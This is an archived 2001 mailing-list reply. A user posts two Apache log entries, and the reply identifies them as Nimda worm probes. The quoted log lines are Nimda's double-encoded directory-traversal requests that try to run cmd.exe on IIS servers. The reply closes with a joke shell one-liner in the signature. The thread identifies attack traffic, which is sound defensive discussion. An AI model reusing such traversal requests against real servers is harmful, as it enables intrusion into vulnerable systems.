Re: [SLUG] repost: linux httpfacces.log

From: Andrew Wyatt (awyatt@intergate.cx)
Date: Wed Oct 31 2001 - 21:54:35 EST


Nimda, pick a flavor A B C D or E LOL

On Wednesday 31 October 2001 09:29 pm, you wrote:
> here's an entry I have not seen before:
> 24.95.191.93 - - [31/Oct/2001:11:33:36 -0500] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 332
> 24.95.191.93 - - [31/Oct/2001:11:33:36 -0500] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 332
>
>
> what do you make of this?

-- 
cat MCSE | sed s/MCSE/RHCE/g>MCSE && kill -9 `ps -ef | grep MSFT | awk 
'{print $2}'` && mail -s "Another one bites the dust" bill.gates@microsoft.com

-----BEGIN GEEK CODE BLOCK----- Version: 3.1 GAT d+@ s+ a- C++++ ULBH++++$ P++++$ L++++$ E--- W+++ N+++ o+++ K- w---$ O M+ V- PS-- PE+ Y- PGP- t+++@ 5- X++ R* tv-- b++++ DI+++ D++ G++ e* h++ r+++ z** ------END GEEK CODE BLOCK------



This archive was generated by hypermail 2.1.3 : Fri Aug 01 2014 - 16:06:58 EDT